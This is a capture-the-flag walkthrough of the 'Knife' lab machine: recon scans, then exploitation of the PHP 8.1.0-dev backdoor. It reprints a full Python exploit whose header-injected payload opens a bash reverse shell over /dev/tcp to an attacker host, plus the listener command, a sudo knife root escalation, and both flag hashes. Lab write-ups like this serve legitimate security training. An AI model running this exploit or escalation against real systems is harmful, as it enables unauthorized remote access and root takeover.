# Knife

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F5kcuQTvWEEjeZ6WXvohL%2Fimage.png?alt=media&#x26;token=8b7d320f-8e69-4dc4-a47e-e82289cd6598" alt=""><figcaption></figcaption></figure>

## TARGET IP: 10.10.10.242

## HOST IP: 10.10.16.3

## RECON

### WEBSITE

```url
http://[TARGET IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FnJG3fCJheonPO5kFOR6d%2Fimage.png?alt=media&#x26;token=515a3a44-5436-4987-b1fd-5d9a103d1e84" alt=""><figcaption></figcaption></figure>

* The page seems like a typical medical page. The source code for the page doesn't have anything to note except for some javascript that takes care of the styling when you first log into the page.
* I'll also note that there are no links on this page or noted in the source code. Other than third-party links.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fbw7xCMiEJiksMG3EuRg7%2Fimage.png?alt=media&#x26;token=6235eec5-a604-4fa6-afc9-8d03c62e8a29" alt=""><figcaption></figcaption></figure>

* Looks like we have a lot of good information from Wappalyzer.
  * Apache Web Server V2.4.41
  * Backend --> PHP v8.1.0
    * This is the route we need to go with. It doesn't have it here but the version is v8.1.0dev
  * OS --> Ubuntu
* After a quick google search, it appears that the Apache Web server has several vulnerabilities. Metasploit might even have a module to exploit it.
* From the Gobuster Scan below, I found a `/index.php` page.
  * This is just the same home page.
*



### NMAP

```
nmap [TARGET IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FmZJxOSHKybezcnWgOO4Q%2Fimage.png?alt=media&#x26;token=16a0e90f-6e5d-4476-857d-5ff74c3099f9" alt=""><figcaption></figcaption></figure>

```
nmap [TARGET IP] -A -p 22,80
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FfBkfHbtNzxQ7MSumhZH7%2Fimage.png?alt=media&#x26;token=b11c0e8f-900f-4949-b24a-561c260c4ba5" alt=""><figcaption></figcaption></figure>

* We can confirm that the Apache web Server is using V2.4.41

```
sudo nmap [TARGET IP] -sS -sV --script http-headers -p 80
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FbYE8u5qZ4j80LoebAh5k%2Fimage.png?alt=media&#x26;token=501d9bc6-bb35-4ca9-8121-034ef044d3fc" alt=""><figcaption></figcaption></figure>

### NIKTO

* First time using nikto here and interesting tool.&#x20;

```
nikto 10.10.10.242
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FtJHSuSToGrVwjcUIG1jL%2Fimage.png?alt=media&#x26;token=c4813721-cc1f-4e62-8f05-012fcf8caa43" alt=""><figcaption></figcaption></figure>

* This shows that the PHP version used is `8.1.0-dev`
  * A quick google search shows that this is a development version of PHP and has a major [vulnerability](../../getting-started-notes).
*









## ENUMERATION

### GOBUSTER

```
gobuster dir -u http://[TARGET IP] -w /usr/share/dirb/wordlists/common.txt
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FBiAic8zsjazEPGsg40tS%2Fimage.png?alt=media&#x26;token=41ab25c5-7b64-4e49-a651-826c635d20f0" alt=""><figcaption></figcaption></figure>

```
gobuster dir -u http://[TARGET IP] -w /usr/share/dirb/wordlists/common.txt -x php
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FN0KOVDVYaYqsbnHjN5je%2Fimage.png?alt=media&#x26;token=f1b55703-36e4-4ed0-86e9-b3cc0390c33f" alt=""><figcaption></figcaption></figure>

```
gobuster vhost -u http://[TARGET IP]/ -w /usr/share/dirb/wordlists/common.txt
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FOQp9rge6jcRElQR9EdlT%2Fimage.png?alt=media&#x26;token=afde2af5-e5fe-4afd-96a6-4383a3d7f390" alt=""><figcaption></figcaption></figure>



## EXPLOITATION

* Let's dive into possible exploitations for the Apache version.
  * The [Apache](https://httpd.apache.org/security/vulnerabilities_24.html) website actually has a list of all vulnerabilities which is really handy.
  * Nothing sticks out specifically for this version but it looks like the version may still be susceptible to multiple attacks.
  * I'm pretty sure this is not the route to go.
* Let's take a look&#x20;

### METASPLOIT

* Tried a few exploits available but nothing really stuck.
* No luck here with Apache.

### PHP

* From the Nikto scan I found that the PHP version is 8.1.0-dev which has a major vulnerability that allows for a backdoor into the server.&#x20;
* I found a really useful python [script](https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/revshell_php_8.1.0-dev.py) that creates a reverse shell using this backdoor.

```python
# Exploit Title: PHP 8.1.0-dev Backdoor Remote Code Execution
# Date: 23 may 2021
# Exploit Author: flast101
# Vendor Homepage: https://www.php.net/
# Software Link: 
#     - https://hub.docker.com/r/phpdaily/php
#     - https://github.com/phpdaily/php
# Version: 8.1.0-dev
# Tested on: Ubuntu 20.04
# CVE : N/A
# References:
#     - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
#     - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md

"""
Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/revshell_php_8.1.0-dev.py
Contact: flast101.sec@gmail.com

An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.
The following exploit uses the backdoor to provide a pseudo shell ont the host.

Usage:
  python3 revshell_php_8.1.0-dev.py <target-ip> <attacker-ip> <attacker-port>
"""

#!/usr/bin/env python3
import os, sys, argparse, requests

request = requests.Session()

def check_target(args):
    response = request.get(args.url)
    for header in response.headers.items():
        if "PHP/8.1.0-dev" in header[1]:
            return True
    return False

def reverse_shell(args):
    payload = 'bash -c \"bash -i >& /dev/tcp/' + args.lhost + '/' + args.lport + ' 0>&1\"'
    injection = request.get(args.url, headers={"User-Agentt": "zerodiumsystem('" + payload + "');"}, allow_redirects = False)

def main(): 
    parser = argparse.ArgumentParser(description="Get a reverse shell from PHP 8.1.0-dev backdoor. Set up a netcat listener in another shell: nc -nlvp <attacker PORT>")
    parser.add_argument("url", metavar='<target URL>', help="Target URL")
    parser.add_argument("lhost", metavar='<attacker IP>', help="Attacker listening IP",)
    parser.add_argument("lport", metavar='<attacker PORT>', help="Attacker listening port")
    args = parser.parse_args()
    if check_target(args):
        reverse_shell(args)
    else:
        print("Host is not available or vulnerable, aborting...")
        exit
    
if __name__ == "__main__":
    main()
```

* I created a new file with the code snippet above and ran the following.

```
nc -lvnp 4444
```

```
python3 exploit.py http://[TARGET IP] [HOST IP] 4444
```

* Return back to your netcat listener and you should now have access to the system.

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FAbkSDYEsrhDSSuisrI8P%2Fimage.png?alt=media\&token=45c2db6d-1141-4855-8952-6d1db6afed23)

* Here is the user flag.

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FgDy8WWsHzRLWRkfSKOfP%2Fimage.png?alt=media\&token=6ff2b867-2c22-4a1a-b8d6-7b39541558d0)

```
58a976dbd2240852f6910cab079cc7df
```

## PRIVILEGE ESCALATION

* Start with allowable sudo privileges.

```
sudo -l
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fvn42z3EY8HeoQkOGjqLh%2Fimage.png?alt=media&#x26;token=57227338-59e8-4329-b1a8-132d0541337a" alt=""><figcaption></figcaption></figure>

* Let's go check out [GTFOBins](https://gtfobins.github.io/gtfobins/knife/#sudo) for a possible route to escalation.

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FlB527CmDc5OKoYZ4pl5o%2Fimage.png?alt=media\&token=f69d17ea-778b-44c5-9cb2-49aeb82136e4)

```bash
sudo knife exec -E 'exec "/bin/sh"'
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FyyUynChp9Qt1We47x83S%2Fimage.png?alt=media\&token=1a4cb632-06f4-41f0-8c6a-ab1187bfc562)

```
cat /root/root.txt
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FpIPd0o0xudDIAlKzDPso%2Fimage.png?alt=media\&token=2000057f-d465-4c8a-b96b-93d5dd82533c)

```
c0a6dfc2f007265b4eafecf32efebab9
```





